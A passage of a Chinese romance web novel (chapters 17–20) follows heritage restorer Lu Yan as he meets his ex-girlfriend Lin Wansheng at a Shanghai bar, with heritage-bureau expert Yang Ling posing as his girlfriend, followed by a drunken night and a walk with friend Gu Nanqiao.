胡桃木衣柜门里是一个被严谨规划过的正装世界: 左侧一排裁剪精良的崭新女式西装套装,套装下面悬挂一排商务连衣裙,职业而端庄;右侧是分类整齐的衬衫和上衣,下面是各种款式的半身裙和西装裤,端庄不失活泼。 杨灵头一次意识衣服不够的问题。 还是顾南乔昨天群内的自拍给了她提醒——不知不觉她们似乎承担着‘不要被陆砚前女友比下去,以此替这位朋友撑住面子’的使命。 嗯,这是顾大律师跟她私下提出的倡议,杨灵顿了顿,没有拒绝。 ‘应该不难吧?’ 她当时是这样想的。 直到赴约下午、开始挑衣服的时候才意识到,她没有非正式服装。 依照昨天晚上顾南乔跟她说搭配方针: 要让人觉得你不太重视,却又不得不感叹细节处的华美、华美处的品味。 伫立良久,女人轻咬嘴唇,给‘乔乔’打去电话。 没人接。 随便穿也没事吧......反正有乔乔在。 ...... “哟,这不陆总嘛,什么风把您吹来了?” 青瓦覆顶,门脸微泛苔痕,门框磨出包浆,旧料市场的青砖店铺颇有岁月沉淀的韵味。 靠墙处立着玻璃展柜,内置款识的珍稀砖品。 “老金,我们之间不兴阴阳怪气这套哈。” 陆砚刚走进来就被这摸不着头脑的话挤兑得够呛。 老金是什么人? 跟杨老头一个资历的! “噢,认错了,把你当陈禹那狼崽子了。” 老金抬头,隔着眼镜装样子看过来,眉毛上挑,眼睛瞪大。 陈禹的第一桶金是做仿古瓷砖。 老金就是他的‘古’,那小子则是在这基础上出的‘仿’,也就是他所谓的‘新’。 无疑,两者扎根的客户群体有交集,而且很有可能是同一批! 陈禹实习的时候跟着老金混,但不是每对师徒都能从始而终...... 因此这复杂的人际网络又哪里可以一刀切割? 几年下来陆砚也习惯了:“您这话说的,前几天陈禹不是还孝敬您来了嘛!” 说起陈禹这小子,精得很,不问也知道他隔三岔五会找个由头过来,给老金提点东西,美其名曰‘一日为师终身为父’。 哎,搞不懂他们的恩怨纠葛。 “嗬哟,他能安什么好心。”老金偏过头看报,“你呢?今天安的什么心?” “订一批b级料青砖,荒料块度要求过两天报过来,今天先过来问问您这边有没有货。” “我说喊你陆总没喊错,啥个要求报价侪呒没(参数单都没有?),就想做生意啊?侬搭陈禹是一路货呀。” 没曾想亲自跑过来问也要被人说摆姿态。 老金拉着嗓子说怪话陆砚是半点脾气都不敢有,连忙手脚比划解释着。 倒不是真‘忙’,心里门清老人要的只是‘解释的态度’,老一辈都这样。 其实若耐得下心,不论是跟老金,还是家里亲戚朋友也好,又有什么好争的、好吵的呢? 无非是一个姿态高低问题,就怕人倔脾气。 陆砚向来尊老爱幼,这种事上从不犯倔,是以老金每次在材料收费上又会特别讲‘感情’。 “老金,走咧。” “去去去!” 老头子倒是挺倔。 时间5:32分,今晚小酒馆约在八点半左右,时间还够悠闲吃个晚饭。 陆砚想到了杨灵和顾南乔,于是拨通电话。 “干嘛呢?你和顾律师吃了吗?” 杨灵正坐在电脑前整理材料,被电话里一问才想起快到饭点。 “在看湿度传感器和结构监测器的合理安装线路。” “......所以,你们吃了吗?” 陆砚不想在这个时候去讨论她的‘智能监测系统’,因为他压根没同意这套方案,两人很可能就‘要不要采纳这套系统’而产生争执。 诚然,他或者她并不惧怕冲突——早先接触下来已经冲突不下三次了——但现在并不是非讨论不可的时候。 “我没有,乔乔她......好像在忙。” “嗯——” “嗯?” “我在想你会用什么理由拒绝我的吃饭邀请。” “那你想到了吗?需要我帮忙吗?” “没有,不用!”陆砚轻笑,仿佛回到两人一起吃火锅的夜晚,按响车门,“趁顾大律师不在,你给位置,我请客。” “可是我并不知道各种卖关东煮的便利店诶。”对方那边也在笑。 “说得我在关东煮那里办卡了一样,保险起见还是多问一嘴,杨博士是替我省钱还是在讽刺人啊?” “嗯,选让你觉得开心的答案吧。” “这样就不会吃关东煮了是吧!” “对啊~” ...... 陆砚乐意请杨灵吃饭,有多乐意呢? 如果手里有一百块,他能毫不犹豫给她花四十。 至于剩下的六十—— 借着暮色,看着后视镜里的自己,他忽然想去理个发,然后顺便叫理发师帮他把眉毛修一下。 帅上加帅最好! 第十八章 见林晚声 长乐路204号,霓虹灯管在潮湿墙面上抽搐,杨灵用纸巾垫在小酒馆的折叠椅上。 相较于‘破吉他’的暖色调,这里的装饰更加迎合处于叛逆期的年轻人些。 倒不是说这里更潮流,个性这东西众人都有追求的欲望,只是处在不同阶段、体现个性的方式不一样罢了。 张扬的配饰以求强烈视觉冲击当然有个性,他们仿佛有用不完的意气来声张‘我要不一样’这件事。 可随着一次次的体悟,躁动的心渐渐沉下来变得内敛而质朴,这份洗去铅华的平静意味着‘我本就不同’。 两者并不存在高低贵贱之分,年龄或大或小,本就是同一个人呀。 陆砚抬手又看了一眼时间,20:15,“顾大小姐怎么比你架子还大,说的时候最积极,结果现在微信不回电话不接。” 昨天颜朵打来电话说已经和林晚声碰面,现在他们应该也快到了吧? “这是你在十分钟内第五次看手机,而且我不认为你是在关心乔乔。”她的坐姿很好,好到与小酒馆格格不入。 杨灵总能通过观察一针见血分析出真相,这份洞察入微让陆砚此时有些烦躁。 你可知道,对着刷花呗买奢侈品的学生党而言,遮羞布是万万不能揭的。 同样,这份焦虑他不想暴露人前,偏偏旁边的小姑娘压根没听过网络大师的情商课。 “那她无故放我鸽子这事总是真的吧,说几句还不行吗。” 有气无力把话接过去,心里却不停涌现关于那个人的一切。 不是怀念,不是怨怼,大抵有愧疚,以及一些说不清的情绪。 时隔三年再重逢,午夜梦回,对方是想起过那些岁月? 小酒馆环境太吵。 潮湿的沉默暗自滋生。 它不亚于梅雨天室内晾晒的短袖,到底干了还是没干?面对时会迟疑和拧巴。 陆砚不是对杨灵有意见。 杨灵在心中自然是极好的,而且今天显然特地打扮过。 简约白色衬衫将领口微微敞开,处在锁骨将出未出的地步增添丝丝性感,袖口微微卷起,搭配黑色直筒半身裙,让这个地方多了份小资情调。 暗沉小酒馆内明晃晃坐在自己身边,带来极大的心理安慰。 “去外面吧,如果她手机没电还找不到地方,站门口等是最好的办法。”她说。 小事上陆砚听之任之。 不管前面是火坑还是悬崖,如今没有多余心思去想是‘跳还是不跳’。 这个点街上不算热闹,路灯灯光打在地下室门口,陆砚靠着门框四处张望。 唉,昨天还叫嚣红色包臀裙来撑场子的说...... 时间有情也无情,人若是想来,自然会准时出现,若不想来,你怎么都联系不上。 顾南乔,又何尝不是另一个林晚声呢? “给你的。” 杨灵不知什么时候拿着两瓶牛奶回来,将其中的一瓶递给陆砚。 这是杨灵第一次给他买水,有些受宠若惊: “谢谢,我这年纪又不长个了,喝牛奶干嘛。” “牛奶中的蛋白质可以在胃黏膜表面形成一层保护膜,减少酒精对胃黏膜的损伤,进而减轻恶心、呕吐等醉酒症状。” “...” 陆砚准备接过牛奶的动作一僵,随即反应过来其中暗含的意味。 你知道的,撕了遮羞布人就会恼、就会羞,恼羞就会成怒。 可对方是杨灵。 他不想跟她生气。 压住窜上来的无名火,用一贯的语调打趣:“觉得我今天会把自己灌醉?你也太小瞧我了女士。” “我是不想你太难受影响后面的工作。” 淡漠的表情与美貌如往常在夜色绽放。 总是理性、总是从容,仿佛他者的山崩海啸之于杨灵,不过是凉风拂面的程度罢了。 可是你又知道什么?我高学历、大智近妖的朋友,世间有很多事是人根本无法控制的啊! 那颗奇怪的心必须真诚,总能无视耳熟能详的借口和大道理,它很自私、它有自己的感想,该悲憷的时候就会毫不犹豫悲憷。 我能怎么办? “杨博士知不知道在中国,男人多少岁成年?” 语气有点冲。 还是...没控制住。 杨灵也果断,收回牛奶转身就走,没一点犹豫。 陆砚傻了。 只是‘有点冲’的程度啊!其实还能憋回去的! 痴痴看向行将远走的背影,一如当年拖着行李箱汇入人群的她。 胸口闷着口气,没来由地难受...... 就像心如死灰的人、脑袋突然被人一把按下水面,心慌是本能。 就像第一次差点将糯米胶砸到她,就像第一次被她用厌恶眼神盯着手中香烟一样,只要看见她不开心,就会心慌。 是自己的错! 追上去! “喂!”终于拉住她的手腕,另一只手伸向那瓶印有‘光明优倍’的鲜牛奶,“不是给我的吗,你好意思又拿回去啊。” 两只手捧着一只手。 不要走。 “给你,”松开手中瓶身,像甩走麻烦一样抽出手,“现在可以让我走了?” “不行!”陆砚又拉住她的衣袖,“不是要做什么声学评估吗,还没开始呢。” 其实是想说‘看在我们是朋友的份上能不能别生气’。 “噔!” 车灯突然将两人周围照得很亮。 一辆奔驰mpv缓缓在小酒馆正门口停下。 他有预感,林晚声就在这辆车里,随即放开手。 “砚哥,在这干嘛呢!” 车窗降下来,陈禹探出一颗好奇脑袋。 “这不是怕你们找不到位置吗,专门在门口恭候大驾光临呢。”对陈禹嬉笑道,余光看见杨灵上了那辆taycan。 还是走了。 算了,大不了之后再跟她道个歉好了。 车门被陈禹拉开,他从车上下来然后伸手搀扶后面的颜朵。 都要结婚了还这么讲排头。 陆砚和她点头致意,两人相视一笑,颜朵眼里蒙着道不明的意味。 然后,下来的是一个初秋季节留中长发穿铆钉皮夹克的男人,他和陈禹一样在车门口侧身伸手,动作比陈禹更标准、更风度。 “那小子叫武恺,是个富二代,这些年一直跟在林晚声身边。”陈禹走到陆砚旁边点了根烟。 “跟我说干嘛,都是过去式了。”然后道,“话说,你准备什么时候办婚礼?” “一周后吧,正好她回来也可以陪陪颜朵。” “我是伴郎吗?” “包的,你跑不掉。” 下一刻,修长白净的手搭在武恺手上,一只简约的浅色高跟鞋便稳稳踩在地上。 陆砚盯着两人紧紧相握的姿势,心尖一颤。 林晚声一袭无袖蕾丝连衣裙,裙身布满精致的花纹,呈现出细腻的镂空质感,裸露的肩膀以及纤细的腰肢,自带万种不言而喻的风情。 双眼明亮有神,眼型圆润,此刻笑眼弯弯,尽显温柔灵动。 陆砚捏紧牛奶,想走,像杨灵那样一言不发、果断离去。 “陆砚,你还是老样子。” 裙摆微动,林晚声如一阵风吹过他的梦,眼前不过三步距离的人是如此真实而不可及。 “你倒是变化很大,我差点认不出来了。” 以前的林晚声,自带邻家少女的亲切感,笑起来时脸颊微微饱满,仿佛能漾开星辰。 所以她能把书呆子似的陆砚带进情感的世界,两人曾在那里奉献了彼此最真挚的爱情! “刚才是你女朋友?她怎么走了。” “...” 微风吹不动黑夜,黑夜笼罩心跳,本该张开的嘴选择了沉默。 “哎呀,一会晚声演出结束再聊吧,先说好,今儿晚一个都跑不掉。” 陈禹勾着颜朵的肩膀,cue起今晚流程。 “是啊,这位兄弟,等我们晚声巡演完了再一块坐着聊嘛。” 武恺搭腔,为时隔三年再相见的俩人拉上‘终止对话’横幅。 有时候就是这样: 你以为会侃侃而谈的自己不过存于想象,而剧中人,在想象里邂逅爱情。 “嗯,你们先进去吧。” 声音有点干,街上喧嚣,应该听不出来。 “晚上喝酒记得把你女朋友喊来,”她顿了下,将吹乱的发丝束在耳后,“大家都是朋友,对吧?” “对。” 女孩儿白嫩的肩渐渐被吞没在小酒馆的地下室通道,淡去的背影和对她的思念此消彼长。 陆砚心底生出股渴望冲破一切桎梏的勇气和激情,这份情感,六年前在时间长河的上游亲手种下,带着它一路颠沛、历经重重险阻,如今这颗真心在岁月打磨下愈发晶莹剔透。 他无比渴望将它赠予此生的最爱。 然而一瞬间,这份晶莹剔透却反射冷光,那个中长发、穿铆钉皮夹克的男人在车门前紧紧握着林晚声的手,顺带一把捏碎了那个平行世界。 或许在无数个如今天一样的夜,他们仍这般紧紧牵手,往一处走;他看见了她的忧愁,她给予她的笑容...... 还不明白吗? 陈禹说了,他是个富二代,一直在晚声身边! 有他在,过去那种沉闷不得志的日子便再与她无缘了...... 她配得上更好的生活! 所以林晚声问起杨灵的时候,唯有沉默以对。 当然知道会被误会!就是不想解释! 这样会显得没她以后自己也过得很好。 只有灰蒙蒙夜色知道,那颗自尊心从知道林晚声要回来,情况每况愈下。 终于,此刻,到了破碎边缘! 或是下车时候那双默契紧握的手,或是她看着对方眉眼弯弯地笑,这一切、连同旧日美好,统统被徒手揉捏成血淋淋的渣子,这个攥紧的过程骨头磨得吱吱作响、让他血肉模糊! 真相在眼前出现了,才放弃逞强。 有些人,她的爱在心里埋藏了、抹平了、几年了,仍有余威! 一直没有忘记,一直不能释怀。 第十九章 杨灵救场 陆砚攥着手机蹲在小酒馆后巷垃圾桶旁,路过的流浪狗在他身边凑了凑,一人一狗很搭配。 电话拨到第三遍,杨灵的声音终于混着商场音乐传来:“陆师傅,我在试衣服。” “刚才怎么招呼没打就走了,大家好歹也是朋友干嘛这么绝情。” “噢,那现在就算打过招呼了吧。” 他就知道这个女人不是善茬,一些骗小朋友的手段压根不起作用! “杨博士!算我求你——”他踢飞脚边的易拉罐,“顾南乔放鸽子,林晚声的演出马上开始,你总不能让我一个人去......” “你吼我的时候挺有气势。”她的语气像在念检测报告,“现在知道急了?” “我什么时候吼你了?” “...” 电话被挂断。 就是刚才情绪最差的时候也没有吼过她呀......顶多算反问吧? 自从他们关系缓和以后,吼她,压根不可能存在的! 男人来回踱步。 等等!难不成是贴封条那天??? 陆砚第五次拨通杨灵电话:“姑奶奶,我错了行不行?那天不该冲你嚷嚷......” “我刚才手机静音了,”她的声音混着衣料簌簌声,“有件深灰色西装适合你,要看看吗?” “我穿工装挺好!”又补了一句,“要不我现在来找你?” “恒隆广场二楼,女装c区香奈儿专柜。”她挂断前补了句,“记得带杯三分糖果茶。” 陆砚连忙起身在手机上搜索附近奶茶店,生怕那位喜欢玩‘消失’的文保局大人突然被一个电话给叫走了。 ...... 拎着奶茶冲到专柜时,店门口居然拉了条红色的警戒线。 所以他第一反应是走错了地方,不过下一秒隔着玻璃看见在店内的杨灵。 好家伙,什么店居然这么开门做生意。 绕过红线往里走,销售小跑着又拿来一件雾蓝色长裙,经过陆砚旁还递上一个礼貌微笑,氛围营造很是周到。 不管对方是不是奔着业绩,情绪付出都是实打实的。 那就帮帮她吧——额,也是帮自己。 “美丽的杨小姐,虽然这件蓝色裙子即使放在最华丽的灯光下也不能比拟您万分之一的美好,”他跟在导购身后小跑过来,人未出、声先至,“但我不得不说,能侍候您身边是这条裙子最高价值的体现。” 杨灵抬眼看他,似笑非笑:“清朝以后就没了奴才,敢问阁下是哪冒出来的?” 没生气就好,陆砚压力松了些,其实他最怕的是杨灵冷着脸不说话的时候——尽管目前还没出现,但就是怕。 “您的吩咐,使命必达。” 说罢双手奉上依旧温热的奶茶,姿态诚恳,宛如上个世纪30年代刚刚留洋回国的绅士。 “行吧,”她接过对方无条件投降协议书,表示自己是个大度的女人,“之前的事就不计较了,你走吧。” “额......” “你不是专门过来道歉的?” “是来道歉的。” 当然不是啊! ...... 不知过了多久,手机在裤袋震动,陈禹发来视频: 林晚声正在调音,武恺弯腰替她调整话筒支架。 “祖宗,您试完这件能走了吗?”瞄向商场电子屏,林晚声的演出倒计时像把悬在头顶的刀,“就当帮我个忙,假装半小时女朋友......” “急什么?”杨灵慢悠悠系着珍珠扣,“陆师傅难道不知道?审批流程可比试衣服复杂。” 这又是在翻自己之前抱怨她‘设备进场慢’的旧账? 真的无语了,你记仇你早说啊! 你早说了,我就不说这么多啦! “杨小姐,八点半开场......” 杨灵掀起试衣帘,珍珠纽扣在锁骨下泛着冷光:“陆先生,求人要有诚意。”她突然将奶茶吸管戳到他眼前,“椰果少加了五颗。” “我这就去买!”陆砚转身要跑,却被她喊住。 “晚了。”抿了口奶茶,对着女销售说:“换那件卡其色风衣试试。” 帘子‘唰’地拉紧,遮住她唇角狡黠的弧度。 谁想得到,这是对一周前陆砚吼她‘数据能当饭吃吗’的温柔报复。 店内就一个顾客,两个穿高更鞋的销售围在那边试衣间,此外只有空灵舒缓的音乐在这片空间流淌。 与之并行的还有一个人的耐心! 他要在这里澄清一件事,杨灵,那个女人,绝对不是书呆子! 被她拿捏住,真心不好受! “姐姐,你就别玩我了,今天真的很急。” 如果顾南乔在的话,可以名正言顺让她救场,毕竟上次帮忙给她解了围的。 如果他家底厚实的话,可以大手一挥把杨灵刚才试过的衣服通通包下,直接把她拽到小酒馆去。 可是这些‘如果’都只存在于另一个时空,于是又老实坐下了。 世界在悄悄的发生。 连他自己都不清楚,在一次次催促声中,其实更多包含的是‘逃避’和说不清的情绪。 但旁观的杨灵清楚。 只是‘安慰’方式比较生硬,以至于对方完全没有觉察。 陆砚在门外时不时会喊‘杨灵’、‘杨小姐’、‘杨博士、’‘姑奶奶’,然后翻来覆去把相同的话转述一遍给她听。 多数时候她只是回应一声‘嗯’,表示在听,但这就足够了。 动物大多有领地意识,有时候,只要呆在一个人身边,身上就会沾染对方的气味,仿佛得到了庇护。 舒缓的乐符变换好几次,更衣室才又被拉开。 扫码枪的红光在十二件吊牌上跳跃,杨灵慢条斯理刷着卡:“现在赶去还能听终场安可。” “真得谢谢您还给我留了一首歌的时间。” 他算是看出来了,这个女人是不会因为他的服软而动摇的,那干嘛还捧着她。 就算两人是朋友也...... “不用谢,我突然想起地下车库要绕三层楼。”她将购物袋甩进他怀里,“应该赶不上了。” ...... 带着杨灵回到小酒馆时间走到22:25,地下演出并非演唱会,一个半小时时间足够林晚声将原创唱完。 还是低沉的灯光,或许气压也低。 靠近吧台的一张大桌子上,陈禹远远看见走向这边的陆砚,脸上写着幸灾乐祸。 不怨陈禹,他自己也觉得这事做得不地道。 再怎么说也是老朋友回来第一场演出,人还专门给你留了前排座。 结果呢? 若是提前说好有事来不了倒也应付得过去,现在是已经到场后、俩人先见着面了,还专门放了鸽子! 性质一下就坏了! 上学的时候老师不是说了吗? 做人三要素是什么?态度、态度、孩他娘的是态度! 乐队几位陆续从后台撤下器械,林晚声倚靠台前,棉麻裙摆扫过调音线,武恺蹲着整理效果器。 她转头看见喘着粗气的陆砚时,笑得像只神秘的猫: “带家属来听歌还迟到?” “刚才...” 林晚声替身旁的武恺拂去肩头灰尘:“刚才那段和弦改得很棒。” 发言被掐断的陆砚一时楞在原地看着两人,眼前画面恍如过去,他和林晚声。 这一刻,事实与曾经的回忆交叠、碰撞,然后记忆碎了一地,现实终究不可战胜。 还能说什么呢?说什么都是自作多情。 温柔而细腻的触感,突然一只手蛇一般缠上他:“他说你今晚状态很好。” 那人指尖在他肘窝警告性地一掐,似是在说‘不准在她面前丢人’,“即使我们不在现场也知道是精彩的演出。” 清冷的声音回荡在后台。 杨灵和林晚声第一次面对面相见,前者束腰蓝裙犹如舞会里出走的主角,淡淡的书卷气衬得小脸愈发端庄;后者一身白色连衣裙,天真烂漫的底色显露无疑。 林晚声那双纯情的眼睛眯成月牙,微微点头,示意先去喝酒。 同时,杨灵迅速抽回自己的手,向外走去。 霓虹灯管在橡木酒桶上投下迷幻的紫红色光晕,驻唱台残留的吉他余音混着冰块碰撞声在空气里浮沉。 小酒馆几张桌子上满了人,他们一路过来还有两桌人向林晚声抬杯示意,场子已然活络。 精酿吧台前,她的指尖叩了叩陆砚面前的空杯:“迟到罚三杯,规矩。”裙摆扫过高脚凳,带起一阵柑橘香水味的漩涡。 陆砚自是认罚。 他本以为是啤酒......可林晚声大概真生气了。 喉结随着吞咽滚动,第二杯威士忌下肚。 “你女朋友的呢?”她的碎钻耳钉晃过杨灵沉静的侧脸。 杨灵本来就是过来救场的,怎么能让她喝呢? “我帮她喝。” “帮忙喝的话就是六杯了,陆师傅。” 陆师傅...... 此前从没有喊过这个称呼,这是第一次,被她玩笑似的提起,口吻一如初见杨灵那会冷淡。 武恺推过盘子,递上柠檬片:“杨小姐不喝酒吗?” “酒精会影响判断力。”杨灵用吸管戳着柠檬片,“不过有些人就爱逞强。” “...” 我的杨姑娘诶,如果现在都不逞强那还是个男人吗! 端起第三杯的时候,武恺又对他喊话:“哥们,别急着喝呀,这酒后劲大。” “你这是瞧不起谁呢,这点酒算什么呀,”女人一个眼神,男人就蔫巴了,“是吧,陆师傅?” 这声‘陆师傅’彻底界清了他们之间的过往。 林晚声就是这个世界给他的难题,解不开就是解不开。 那就喝吧!至少这酒,能解今夜的忧。 威士忌加冰兑饮料的话,一杯实际也就五分之一不到的原酒,而且兑了之后酒好下喉,喝起来甚是豪迈。 六杯喝完,又要了四桶精酿让老板送到陈禹坐的小桌子上,无缝衔接开启下一轮。 是的,小酒馆已经换了老板,所以对方送的果盘林晚声没要。 见几位终于舍得过来,陈禹也是用婚戒在桌上敲出脆响: “嘛呀,一拨人分两个地方喝起来了。” 对此陆砚扯扯嘴角,心里暗骂这小子哪壶不开提哪壶的功夫已然巅峰造极,必是故意的! 身旁的颜朵则一脸好奇,趴在林晚声肩头打听情报。 众人依次落座,林晚声、武恺坐一块,正对面是陆砚和杨灵,侧边是陈禹、颜朵分两边坐。 “给大家正式介绍一下,这是我女朋友,杨灵。” “欢迎欢迎。” “砚哥和嫂子怎么看对眼的?” 刚讲完颜朵就一把掐住他的大腿。 说话没过脑子的陈禹也是不好意思的罚了一口酒。 “老洋房检测时认识的。”陆砚扯松领口透气,“她拿着激光笔怼我施工方案那架势,让人印象深刻。” 原来那件情不知不觉已经小半个月了,他还记得弄脏过她一套衣服,上次吃火锅的时候说好请她吃饭偿还。 “是他抱着骨胶杵住建局会议室。”杨灵将柠檬片推进自己的饮料杯,“非说传统工艺的湿度曲线像心电图。” 她抬眼看向众人,“活人总比数据有趣,不是吗?” 吊扇搅动的气流掀起林晚声鬓角的碎发,指甲上的珠光在杯沿刮出细痕。 沉吟片刻说道:“杨小姐确实会是他一见钟情的类型。” 嚯! 陈禹、颜朵一秒变成猹,吃瓜模样尽显。 前女友认证,准是真的! “过奖。”杨灵姿态大方,面带揶揄之色看向陆砚,“毕竟能把误差率骂成抒情诗的人不多。” 误差自然是指老洋房监测互相比对那会的误差,抒情诗则是说二人之间的缘分。 杨小姐这会综合素质高的出奇,嗯......很长面子。 忽略打探的目光,专心做几个深呼吸,以此提高心率加强代谢功能,以免一会现场直播! 林晚声喝了口酒,“听说杨小姐在文保局高就?上个月我们刚拆了栋民国戏楼拍mv。” 时间能改变很多事物,没经历过的人却总是不信。 记忆里的她,热烈且自由,文艺、浪漫......说话从不夹枪带棒。 那个邻家小妹妹终于还是成长为成熟女性了。 杨灵没着急接话,只是抽走陆砚手中的精酿啤酒,换上柠檬水。 “根据2018版《文物保护法》,爆破拆除需提前爆破前需要转移建筑构件,比如雕花门环或者旧牌匾。当然,如果前主人遗漏的是一般物件,爆破倒是没什么问题。” 场上几人和又陆续坐上座的、林晚声乐队的那些个均是一愣,这么严肃是闹哪出? 唯有陆砚心照不宣看着她——这就是我那逻辑严密的杨小姐! 杨灵意外读懂了空气,又说:“这位是?” “武恺。”林晚声拽过那个当任乐队贝斯手的男人,“我的新编曲兼私人厨师。” 她会说话的眼睛正好看向陆砚,眼神仿佛在说‘玩音乐的就是比修文物的懂浪漫’。 这一刻,陆砚知道杨灵的推测完全正确,今晚他绝对会醉一场。 权当告慰过往。 ...... 昏沉的灯光下,众人坐在位置上摇摇晃晃,偶尔还会瞬移。 酒劲开始上来了,格外汹涌。 没想到武恺那小子居然是第一个倒的,气量差得不像话,根本不像‘玩音乐’的。 直到林晚声扶他上车离开,陆砚才跑到厕所倾吐。 后面记忆就有点迷迷糊糊了。 ...... 房卡第三次脱手时,杨灵决定将他的胳膊架在肩上,像背负大山一样缓慢前行。 “今天谢、了。”忽然抓住她的手腕。 “谢我让你错过终场?”她甩开手,接着把他往房间里送,“把你送到我就先走了,牛奶记得喝。” 月光漏进窗帘缝隙,杨灵站在玄关擦拭溅到袖口的酒渍。 房间的全身镜映出两团歪斜的影子:一个在呕吐袋里找尊严,另一个用工装外套折出临时枕头。 后面就真的断片了。 第二十章 一只纸鹤 晨光透过酒店纱帘,陆砚做了个梦,梦里一个白裙子女人坐在老洋房台阶上弹吉他,暖风轻抚发梢,只一眼他就生起无限爱慕。 “叮!叮叮——” 手机闹铃在十点十分响起。 咦?不该是八点十分的闹钟吗? 宿醉的钝痛在太阳穴跳动,昨日记忆被粗暴塞进大脑,一阵从头苦到胃的难受。 他翻身摸到床头柜的牛奶盒。 ‘解酒,空腹喝’ 杨灵的声音自然而然出现脑海,心头暂暖。 昨夜架着他踉跄进房的画面里,她连扶人时都不忘用手垫住他后脑,严谨得近乎笨拙。 笨拙中还透露一丝......温柔。 偏偏是理性又清冷的人散发出的温柔,这称得上女人最有杀伤的魅力! 陆砚仰头灌下牛奶,甜腻的奶香冲淡喉间苦涩。 有些事和人刻意不去想的话,真的会好很多。 嗯? 陆砚笑了笑。 垃圾桶怎么会有一只千纸鹤...... 看起来笨笨的、丑丑的,想来不如它主人一根头发丝好看。 退房之前洗了个澡,用酒店的香薰薰过衣服后,查看未读消息: 陈禹:真羡慕你,一觉可以睡到中午,而我却要被老婆叫起来选婚纱。 后槽牙紧了紧,忽视! 往下,果然看到顾南乔的消息。 我系统呢:昨晚临时接了个经济纠纷案,委托人情绪崩溃,陪他熬到天亮。抱歉放你鸽子啦~(小猫哭泣.jpg) 呵,从现在开始你欠我一只鸽子! 陆砚没有生气,像是某种预感,他盯着末尾的波浪号出神。 顾南乔向来爱用感叹号,连句号都嫌冷硬,此刻的‘啦’字像被雨淋湿的蝴蝶翅膀,颤巍巍透着疲惫。 想到那只快乐小狗,当即拨通电话,听筒里传来沙沙的翻纸声。 “陆师傅良心发现要请我吃午餐?”她嗓音哑得厉害,却仍强打精神调侃。 “哪有人上赶着让别人请吃饭的,不过也不是不可以。” 就当他为朋友两肋插刀吧,正好自己现在也惆怅。 同病相怜有没有? “带你去个地方。” “我不想出门。” 那我来你家?下面给你吃? 当然,这种轻浮的话鉴于对方律师身份,还是不要轻易说出口。 “你这个人不要变心太快噢我跟你说,”他抓起外套往外走,记得上次她被尾随的地方就离静安别墅很近,“四十分钟后‘静安别墅区’门口见,这总行了吧。” 这句口吻真漂亮,像某位油腻霸总发言。 诶? 挂断电话才反应过来,还真是‘上赶着请人家吃午饭’。 ...... 梧桐絮如雪纷扬,顾南乔踩着细高跟踏入别墅区,陆砚正蹲在青砖墙根拨弄一丛野薄荷。 工装裤膝盖沾着酒渍,后颈晒斑在阳光下微微泛红,像块未被时光打磨的老木雕。 “听说这是你修的?”她指尖抚过窗棂上的牡丹纹。 “怎么不问我‘这是你家?’,万一我是隐藏的大款呢。” 顾南乔撇撇嘴,听不清在嘟囔什么。 陆砚做人最大的优点就是不求甚解,于是接着说: “当年业主非要换断桥铝,我雕了这扇窗架在弄堂口,”他掸去指尖草屑,“那天露水凝在花瓣上,硬是把那群老古董看哭了。” 有种吹牛叫人一听就是假话,偏偏这样毫不遮掩的方式不会让人心生反感。 “下次我家需要修的时候就找你。” “不是吧,原来您才是隐藏的大款?可得先说好,扇窗年纪没你两个大的,不接。” 她轻轻笑着,像个淑女。 鞋跟碾一片落叶,叶子质量出奇的好。 于是跟它较着劲一边说:“你蹲在这里,倒像这窗户——明明要碎了,非装得这么好。” 它叫窗棂! 嗯?这就有点攻击性了呀。 咱顾姐是怎么了,今天嘴里吃了炮仗似的,声音沙哑还伤人。 装不在乎的怕不是你自己吧! “顾姐雅兴,今天不提笔写几句风流话,都对不住这燃烧的文青之魂。” 她将被风吹乱的发丝捋到耳后,连阳光都偏爱她——七分洒在娇嫩的脸庞,两分镀亮香奈儿耳钉,剩下一缕钻进酒窝酿成蜂蜜。 原是这样的。 “本小姐现在确实特感性,这种为数不多的时候被你看见,你真是赚大发了。” “赚多少?能提现吗?” 陆砚看着对方挑了挑眉,两人相视一笑。 她长着一张精致的瓜子脸,大热天踩高跟出门,身材自然没得说。 若是非要用两个字来形容她的外表,‘尤物’恰好不过了。 若是非要用三个字来形容她在陆砚心中的位置,嗯,还得是‘好兄弟’。 “你呢,听说你昨天喝到断片,怕不是丢人丢到姥姥家了。” 好兄弟的关心往往朴实无华。 他侧头看墙上苔藓,昨天确实喝多了,也确实借着酒精看清了自己的心。 现在胸腔里跳动的,是颗多愁善感的女人心。 几乎一闭眼,梦中穿白裙子坐在老洋房台阶上弹吉他的女人就在脑海闪过。 画面春风和煦,怎叫人不忧郁? 陆砚毫不避讳抓拽过兄弟的手,按在墙缝:“摸摸看。” 青苔湿润的触感从掌心蔓延,砖缝间渗出若有似无的凉意。 “民国的工匠砌墙会掺糯米浆,”他声音低得像自语,“所以哪怕裂了,掰开还是粘连的。” 老师傅发什么癫疯? 她忽然明白对方在说林晚声,顿时娇嗔道: “好嘛,拷我手还敢想别个女人,侬怕勿是忒欺侮人了伐?(摸我的手还敢想着其他女人?)” “大人冤枉,我真没有摸啊。” 都哥们,我能做这猥琐之事? “摸没摸我们让法官来评判,我的职责就是见你去见法官!”顾南乔忙把陆砚的手臂抓紧,生怕他跑路了。 笑话......如果一定要见法官的话,在这之前他肯定不会只摸个手啊! 陆砚眼里闪过危险的光,兄弟,你好香...... 下一刻起身就逃。 ‘原告’自然不放手。 不过顾南乔抓着他却并不像押送犯人那样控制对方行动,反倒陆砚在路上左扭右扭,她则像根附着在岸边的海草一样跟着扭动。 这一刻,算不算物理意义上的同频共振? 突然他想学着电影里来段华尔兹——昂,大概就是这个舞种—— 于是一次晃荡中,拉着顾南乔做了个来回转体。 第一次很轻,怕把她弄疼了;第二次的时候双方有了默契,便加大幅度,肆意动起来。 至于‘见法官’那茬,就让它见鬼去吧! 玩闹一阵,待顾南乔平复呼吸: “其实晒晒太阳挺好的,要不是你的电话,我现在都还在家发霉呢。” 卡姿兰大眼睛滴溜溜的闪烁,嗯,光彩照人的顾南乔回来了。 “话到这份上了,那午餐我是非请你不可的!” 他会心一笑。 俩人迈开腿走在南京西路,一如电影中的俊男靓女走过美好岁月。 梧桐自由、阳光明媚,大抵心里的裂痕也能在这段慢时光里得以修补。 只是太阳下,陆砚看不见的角落里,手机在坤包震动。 屏幕跳出‘灵灵’二字。 顾南乔瞥见陆砚仰头望天的侧脸,拇指悄然划向拒接键。 ...... 傍晚的复工通知来得猝不及防。 住建局红头文件拍在群聊,附带的修缮令联合监工名单上,‘杨灵’与‘陆砚’并排列在首行。 复工日期暂定在这周五! 